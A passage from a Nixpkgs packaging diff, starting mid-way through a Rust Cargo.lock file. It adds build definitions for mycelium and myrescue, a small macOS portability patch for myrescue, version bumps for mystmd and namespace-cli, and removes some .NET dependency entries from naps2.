+source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba3a3adc5c275d719af8cb4272ea1c4a6d668a777f37e115f6d11ddbc1c8e0e7" +dependencies = [ + "bitflags 1.3.2", + "core-foundation", + "system-configuration-sys", +] + +[[package]] +name = "system-configuration-sys" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75fb188eb626b924683e3b95e3a48e63551fcfb51949de2f06a9d91dbee93c9" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "termcolor" +version = "1.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06794f8f6c5c898b3275aebefa6b8a1cb24cd2c6c79397ab15774837a0bc5755" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "thiserror" +version = "1.0.56" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d54378c645627613241d077a3a79db965db602882668f9136ac42af9ecb730ad" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.56" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa0faa943b50f3db30a20aa7e265dbc66076993efed8463e8de414e5d06d3471" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "thread_local" +version = "1.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fdd6f064ccff2d6567adcb3873ca630700f00b5ad3f060c25b5dcfd9a4ce152" +dependencies = [ + "cfg-if", + "once_cell", +] + +[[package]] +name = "time" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f657ba42c3f86e7680e53c8cd3af8abbe56b5491790b46e22e19c0d57463583e" +dependencies = [ + "deranged", + "powerfmt", + "serde", + "time-core", +] + +[[package]] +name = "time-core" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3" + +[[package]] +name = "tinyvec" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50" +dependencies = [ + "tinyvec_macros", +] + +[[package]] +name = "tinyvec_macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" + +[[package]] +name = "tokio" +version = "1.36.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61285f6515fa018fb2d1e46eb21223fff441ee8db5d0f1435e8ab4f5cdb80931" +dependencies = [ + "backtrace", + "bytes", + "libc", + "mio", + "num_cpus", + "pin-project-lite", + "signal-hook-registry", + "socket2", + "tokio-macros", + "windows-sys 0.48.0", +] + +[[package]] +name = "tokio-macros" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "tokio-rustls" +version = "0.24.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c28327cf380ac148141087fbfb9de9d7bd4e84ab5d2c28fbc911d753de8a7081" +dependencies = [ + "rustls", + "tokio", +] + +[[package]] +name = "tokio-stream" +version = "0.1.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "397c988d37662c7dda6d2208364a706264bf3d6138b11d436cbac0ad38832842" +dependencies = [ + "futures-core", + "pin-project-lite", + "tokio", + "tokio-util", +] + +[[package]] +name = "tokio-tun" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bf2efaf33e86779a3a68b1f1d6e9e13a346c1c75ee3cab7a4293235c463b2668" +dependencies = [ + "libc", + "nix 0.27.1", + "thiserror", + "tokio", +] + +[[package]] +name = "tokio-util" +version = "0.7.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5419f34732d9eb6ee4c3578b7989078579b7f039cbbb9ca2c4da015749371e15" +dependencies = [ + "bytes", + "futures-core", + "futures-sink", + "pin-project-lite", + "tokio", + "tracing", +] + +[[package]] +name = "toml" +version = "0.7.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd79e69d3b627db300ff956027cc6c3798cef26d22526befdfcd12feeb6d2257" +dependencies = [ + "serde", + "serde_spanned", + "toml_datetime", + "toml_edit", +] + +[[package]] +name = "toml_datetime" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3550f4e9685620ac18a50ed434eb3aec30db8ba93b0287467bca5826ea25baf1" +dependencies = [ + "serde", +] + +[[package]] +name = "toml_edit" +version = "0.19.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b5bb770da30e5cbfde35a2d7b9b8a2c4b8ef89548a7a6aeab5c9a576e3e7421" +dependencies = [ + "indexmap", + "serde", + "serde_spanned", + "toml_datetime", + "winnow", +] + +[[package]] +name = "tower" +version = "0.4.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8fa9be0de6cf49e536ce1851f987bd21a43b771b09473c3549a6c853db37c1c" +dependencies = [ + "futures-core", + "futures-util", + "pin-project", + "pin-project-lite", + "tokio", + "tower-layer", + "tower-service", +] + +[[package]] +name = "tower-layer" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c20c8dbed6283a09604c3e69b4b7eeb54e298b8a600d4d5ecb5ad39de609f1d0" + +[[package]] +name = "tower-service" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6bc1c9ce2b5135ac7f93c72918fc37feb872bdc6a5533a8b85eb4b86bfdae52" + +[[package]] +name = "tracing" +version = "0.1.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef" +dependencies = [ + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "tracing-core" +version = "0.1.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54" +dependencies = [ + "once_cell", + "valuable", +] + +[[package]] +name = "tracing-log" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3" +dependencies = [ + "log", + "once_cell", + "tracing-core", +] + +[[package]] +name = "tracing-subscriber" +version = "0.3.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad0f048c97dbd9faa9b7df56362b8ebcaa52adb06b498c050d2f4e32f90a7a8b" +dependencies = [ + "matchers", + "nu-ansi-term", + "once_cell", + "regex", + "sharded-slab", + "smallvec", + "thread_local", + "tracing", + "tracing-core", + "tracing-log", +] + +[[package]] +name = "try-lock" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" + +[[package]] +name = "tun" +version = "0.6.1" +source = "git+https://github.com/LeeSmet/rust-tun#eaad3340ef74475def7e080dedff77f7d830f3b8" +dependencies = [ + "byteorder", + "bytes", + "futures-core", + "ioctl-sys", + "libc", + "log", + "thiserror", + "tokio", + "tokio-util", + "wintun 0.3.2", +] + +[[package]] +name = "typenum" +version = "1.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" + +[[package]] +name = "unicode-bidi" +version = "0.3.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08f95100a766bf4f8f28f90d77e0a5461bbdb219042e7679bebe79004fed8d75" + +[[package]] +name = "unicode-ident" +version = "1.0.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" + +[[package]] +name = "unicode-normalization" +version = "0.1.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921" +dependencies = [ + "tinyvec", +] + +[[package]] +name = "universal-hash" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc1de2c688dc15305988b563c3854064043356019f97a4b46276fe734c4f07ea" +dependencies = [ + "crypto-common", + "subtle", +] + +[[package]] +name = "untrusted" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a156c684c91ea7d62626509bce3cb4e1d9ed5c4d978f7b4352658f96a4c26b4a" + +[[package]] +name = "untrusted" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" + +[[package]] +name = "url" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "31e6302e3bb753d46e83516cae55ae196fc0c309407cf11ab35cc51a4c2a4633" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", +] + +[[package]] +name = "utf8parse" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" + +[[package]] +name = "valuable" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d" + +[[package]] +name = "version_check" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" + +[[package]] +name = "want" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e" +dependencies = [ + "try-lock", +] + +[[package]] +name = "wasi" +version = "0.11.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" + +[[package]] +name = "wasm-bindgen" +version = "0.2.90" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1223296a201415c7fad14792dbefaace9bd52b62d33453ade1c5b5f07555406" +dependencies = [ + "cfg-if", + "wasm-bindgen-macro", +] + +[[package]] +name = "wasm-bindgen-backend" +version = "0.2.90" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fcdc935b63408d58a32f8cc9738a0bffd8f05cc7c002086c6ef20b7312ad9dcd" +dependencies = [ + "bumpalo", + "log", + "once_cell", + "proc-macro2", + "quote", + "syn 2.0.48", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-futures" +version = "0.4.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bde2032aeb86bdfaecc8b261eef3cba735cc426c1f3a3416d1e0791be95fc461" +dependencies = [ + "cfg-if", + "js-sys", + "wasm-bindgen", + "web-sys", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.90" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3e4c238561b2d428924c49815533a8b9121c664599558a5d9ec51f8a1740a999" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.90" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bae1abb6806dc1ad9e560ed242107c0f6c84335f1749dd4e8ddb012ebd5e25a7" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", + "wasm-bindgen-backend", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.90" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4d91413b1c31d7539ba5ef2451af3f0b833a005eb27a631cec32bc0635a8602b" + +[[package]] +name = "web-sys" +version = "0.3.67" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "58cd2333b6e0be7a39605f0e255892fd7418a682d8da8fe042fe25128794d2ed" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "webpki-roots" +version = "0.25.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1778a42e8b3b90bff8d0f5032bf22250792889a5cdc752aa0020c84abe3aaf10" + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-util" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f29e6f9198ba0d26b4c9f07dbe6f9ed633e1f3d5b8b414090084349e46a52596" +dependencies = [ + "winapi", +] + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e686886bc078bc1b0b600cac0147aadb815089b6e4da64016cbd754b6342700f" +dependencies = [ + "windows-targets 0.48.5", +] + +[[package]] +name = "windows" +version = "0.51.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca229916c5ee38c2f2bc1e9d8f04df975b4bd93f9955dc69fabb5d91270045c9" +dependencies = [ + "windows-core 0.51.1", + "windows-targets 0.48.5", +] + +[[package]] +name = "windows" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e48a53791691ab099e5e2ad123536d0fff50652600abaf43bbf952894110d0be" +dependencies = [ + "windows-core 0.52.0", + "windows-targets 0.52.0", +] + +[[package]] +name = "windows-core" +version = "0.51.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1f8cf84f35d2db49a46868f947758c7a1138116f7fac3bc844f43ade1292e64" +dependencies = [ + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-core" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9" +dependencies = [ + "windows-targets 0.52.0", +] + +[[package]] +name = "windows-sys" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" +dependencies = [ + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.0", +] + +[[package]] +name = "windows-targets" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" +dependencies = [ + "windows_aarch64_gnullvm 0.48.5", + "windows_aarch64_msvc 0.48.5", + "windows_i686_gnu 0.48.5", + "windows_i686_msvc 0.48.5", + "windows_x86_64_gnu 0.48.5", + "windows_x86_64_gnullvm 0.48.5", + "windows_x86_64_msvc 0.48.5", +] + +[[package]] +name = "windows-targets" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" +dependencies = [ + "windows_aarch64_gnullvm 0.52.0", + "windows_aarch64_msvc 0.52.0", + "windows_i686_gnu 0.52.0", + "windows_i686_msvc 0.52.0", + "windows_x86_64_gnu 0.52.0", + "windows_x86_64_gnullvm 0.52.0", + "windows_x86_64_msvc 0.52.0", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" + +[[package]] +name = "windows_i686_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" + +[[package]] +name = "windows_i686_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" + +[[package]] +name = "winnow" +version = "0.5.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7cf47b659b318dccbd69cc4797a39ae128f533dce7902a1096044d1967b9c16" +dependencies = [ + "memchr", +] + +[[package]] +name = "winreg" +version = "0.50.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "524e57b2c537c0f9b1e69f1965311ec12182b4122e45035b1508cd24d2adadb1" +dependencies = [ + "cfg-if", + "windows-sys 0.48.0", +] + +[[package]] +name = "wintun" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29b83b0eca06dd125dbcd48a45327c708a6da8aada3d95a3f06db0ce4b17e0d4" +dependencies = [ + "c2rust-bitfields", + "libloading", + "log", + "thiserror", + "windows 0.51.1", +] + +[[package]] +name = "wintun" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b3c8c8876c686f8a2d6376999ac1c9a24c74d2968551c9394f7e89127783685" +dependencies = [ + "c2rust-bitfields", + "libloading", + "log", + "thiserror", + "windows 0.52.0", +] + +[[package]] +name = "x25519-dalek" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fb66477291e7e8d2b0ff1bcb900bf29489a9692816d79874bea351e7a8b6de96" +dependencies = [ + "curve25519-dalek", + "rand_core", + "serde", + "zeroize", +] + +[[package]] +name = "yasna" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e17bb3549cc1321ae1296b9cdc2698e2b6cb1992adfa19a8c72e5b7a738f44cd" +dependencies = [ + "time", +] + +[[package]] +name = "zeroize" +version = "1.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "525b4ec142c6b68a2d10f01f7bbf6755599ca3f81ea53b8431b7dd348f5fdb2d" +dependencies = [ + "zeroize_derive", +] + +[[package]] +name = "zeroize_derive" +version = "1.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce36e65b0d2999d2aafac989fb249189a141aee1f53c612c1f37d72631959f69" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] diff --git a/pkgs/by-name/my/mycelium/package.nix b/pkgs/by-name/my/mycelium/package.nix new file mode 100644 index 0000000000000..d5b66705d15a7 --- /dev/null +++ b/pkgs/by-name/my/mycelium/package.nix @@ -0,0 +1,39 @@ +{ lib +, rustPlatform +, fetchFromGitHub +, stdenv +, darwin +}: + +rustPlatform.buildRustPackage rec { + pname = "mycelium"; + version = "0.4.2"; + + src = fetchFromGitHub { + owner = "threefoldtech"; + repo = "mycelium"; + rev = "v${version}"; + hash = "sha256-VWrWg9UpBSug0cvY/zuzGFI6Y0CRFcrh1Cy4mbYtg9Q="; + }; + + cargoLock = { + lockFile = ./Cargo.lock; + outputHashes = { + "tun-0.6.1" = "sha256-DelNPCOWvVSMS2BNGA2Gw/Mn9c7RdFNR21/jo1xf+xk="; + }; + }; + + buildInputs = lib.optionals stdenv.isDarwin [ + darwin.apple_sdk.frameworks.Security + darwin.apple_sdk.frameworks.SystemConfiguration + ]; + + meta = with lib; { + description = "End-2-end encrypted IPv6 overlay network"; + homepage = "https://github.com/threefoldtech/mycelium"; + changelog = "https://github.com/threefoldtech/mycelium/blob/${src.rev}/CHANGELOG.md"; + license = licenses.asl20; + maintainers = with maintainers; [ matthewcroughan ]; + mainProgram = "mycelium"; + }; +} diff --git a/pkgs/by-name/my/myrescue/0001-darwin-build-fixes.patch b/pkgs/by-name/my/myrescue/0001-darwin-build-fixes.patch new file mode 100644 index 0000000000000..6dee89ab8f803 --- /dev/null +++ b/pkgs/by-name/my/myrescue/0001-darwin-build-fixes.patch @@ -0,0 +1,79 @@ +From c8f75fec1e558d1f6d5bbcdd89ac14b10fa370de Mon Sep 17 00:00:00 2001 +From: annalee <150648636+a-n-n-a-l-e-e@users.noreply.github.com> +Date: Sun, 18 Feb 2024 09:08:12 +0000 +Subject: [PATCH] darwin build fixes + +--- + compat.h | 9 +++++++++ + myrescue-bitmap2ppm.c | 1 + + myrescue-stat.c | 1 + + myrescue.c | 5 +++++ + 4 files changed, 16 insertions(+) + create mode 100644 src/compat.h + +diff --git a/compat.h b/compat.h +new file mode 100644 +index 0000000..99b7239 +--- /dev/null ++++ b/compat.h +@@ -0,0 +1,9 @@ ++#pragma once ++ ++#ifdef __APPLE__ ++#include <unistd.h> ++#include <fcntl.h> ++_Static_assert(sizeof(off_t) == 8, "off_t must be 8 bytes"); ++#define lseek64 lseek ++#define open64 open ++#endif +diff --git a/myrescue-bitmap2ppm.c b/myrescue-bitmap2ppm.c +index 68ecc29..eb2dd9e 100644 +--- a/myrescue-bitmap2ppm.c ++++ b/myrescue-bitmap2ppm.c +@@ -25,6 +25,7 @@ + #include <stdlib.h> + #include <unistd.h> + #include <fcntl.h> ++#include "compat.h" + + int main(int argc, char** argv) + { +diff --git a/myrescue-stat.c b/myrescue-stat.c +index c7a115f..264bd55 100644 +--- a/myrescue-stat.c ++++ b/myrescue-stat.c +@@ -25,6 +25,7 @@ + #include <stdlib.h> + #include <unistd.h> + #include <fcntl.h> ++#include "compat.h" + + #define BUFFER_SIZE 4096 + +diff --git a/myrescue.c b/myrescue.c +index 0b119c5..f9b052c 100644 +--- a/myrescue.c ++++ b/myrescue.c +@@ -21,7 +21,11 @@ + #define __USE_LARGEFILE64 1 + #define _LARGEFILE_SOURCE 1 + #define _LARGEFILE64_SOURCE 1 ++#ifdef __linux__ + #define HAVE_USBRESET 1 ++#else ++#define HAVE_USBRESET 0 ++#endif + + #include <stdio.h> + #include <stdlib.h> +@@ -37,6 +41,7 @@ + #include <signal.h> + + #include "permute.h" ++#include "compat.h" + + #define LONG_TIME 3 + #define SLEEP_AFTER_USBRESET 5 +-- +2.43.0 + diff --git a/pkgs/by-name/my/myrescue/package.nix b/pkgs/by-name/my/myrescue/package.nix new file mode 100644 index 0000000000000..1f47499c55bbe --- /dev/null +++ b/pkgs/by-name/my/myrescue/package.nix @@ -0,0 +1,39 @@ +{ lib +, stdenv +, fetchurl +, installShellFiles +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "myrescue"; + version = "0.9.8"; + + src = fetchurl { + url = "mirror://sourceforge/project/myrescue/myrescue/myrescue-${finalAttrs.version}/myrescue-${finalAttrs.version}.tar.gz"; + hash = "sha256-tO9gkDpEtmySatzV2Ktw3eq5SybCUGAUmKXiSxnkwdc="; + }; + + nativeBuildInputs = [ installShellFiles ]; + + sourceRoot = "./src"; + + patches = [ + ./0001-darwin-build-fixes.patch + ]; + + installPhase = '' + runHook preInstall + install -Dm755 myrescue -t $out/bin + installManPage ../doc/myrescue.1 + runHook postInstall + ''; + + meta = with lib; { + description = "Hard disk recovery tool that reads undamaged regions first"; + mainProgram = "myrescue"; + homepage = "https://myrescue.sourceforge.net"; + maintainers = with maintainers; [ d3vil0p3r ]; + platforms = platforms.unix; + license = licenses.gpl2Plus; + }; +}) diff --git a/pkgs/by-name/my/mystmd/package.nix b/pkgs/by-name/my/mystmd/package.nix index 5a65c78991b6e..b37fb95b5f14b 100644 --- a/pkgs/by-name/my/mystmd/package.nix +++ b/pkgs/by-name/my/mystmd/package.nix @@ -2,16 +2,16 @@ buildNpmPackage rec { pname = "mystmd"; - version = "1.1.40"; + version = "1.1.45"; src = fetchFromGitHub { owner = "executablebooks"; repo = "mystmd"; rev = "mystmd@${version}"; - hash = "sha256-RN3jrcTLdVnG4QF3OCg12S5faaYqkEhWGW7BaZKli4M="; + hash = "sha256-qHlgAc1ddSVevH/82QCVXjIlht/RMcypTUcY+A/gRRg="; }; - npmDepsHash = "sha256-VZO5VXwmBpTdUdlBPgRz2P9Q7xDc1GaBrHEGnvYXx/E="; + npmDepsHash = "sha256-yEeATMpSEr20MJdzq8HWSSjRBd+rHEq2oMVOnKymWhY="; dontNpmInstall = true; diff --git a/pkgs/by-name/na/namespace-cli/package.nix b/pkgs/by-name/na/namespace-cli/package.nix index 50bec8c0428c4..008f6e7a470c0 100644 --- a/pkgs/by-name/na/namespace-cli/package.nix +++ b/pkgs/by-name/na/namespace-cli/package.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "namespace-cli"; - version = "0.0.338"; + version = "0.0.346"; src = fetchFromGitHub { owner = "namespacelabs"; repo = "foundation"; rev = "v${version}"; - hash = "sha256-pZMqSZuyu7tRMcASWLVB2/Dd7qre35Evz83PLXoMgrs="; + hash = "sha256-lxzRvgB8FL85gMEQ579kG8c9jHeLkMg8KFz6iXyjMP4="; }; - vendorHash = "sha256-8VO+VKd6vsCzWeU1Bh33TvAmpiyCIEJbZ2HebpuwU5g="; + vendorHash = "sha256-a/e+xPOD9BDSlKknmfcX2tTMyIUrzKxqtUpFXcFIDSE="; subPackages = ["cmd/nsc" "cmd/ns" "cmd/docker-credential-nsc"]; diff --git a/pkgs/by-name/na/naps2/deps.nix b/pkgs/by-name/na/naps2/deps.nix index af99b871ebfd9..fe39240ada2e8 100644 --- a/pkgs/by-name/na/naps2/deps.nix +++ b/pkgs/by-name/na/naps2/deps.nix @@ -20,9 +20,6 @@ (fetchNuGet { pname = "GrpcDotNetNamedPipes"; version = "2.1.1"; sha256 = "0fmxrr99wp7pdrf8230fl6fh2jlb3l0yg928qyab9mgnparppxqa"; }) (fetchNuGet { pname = "GtkSharp"; version = "3.24.24.38"; sha256 = "0cn8aggci6n088y5giiaxmyzv01rcz37r8pm738q2bsb57zppz2j"; }) (fetchNuGet { pname = "Makaretu.Dns"; version = "2.0.1"; sha256 = "1l6ajfdcvqpz078wl6nm44bnhd8h47nssb5qgp5al9zqic50mqnd"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Ref"; version = "6.0.26"; sha256 = "1d8nkz24vsm0iy2xm8y5ak2q1w1p99dxyz0y26acs6sfk2na0vm6"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64"; version = "6.0.26"; sha256 = "1za8lc52m4z54d68wd64c2nhzy05g3gx171k5cdlx73fbymiys9z"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-x64"; version = "6.0.26"; sha256 = "1zpbmz6z8758gwywzg0bac8kx9x39sxxc9j4a4r2jl74l9ssw4vm"; }) (fetchNuGet { 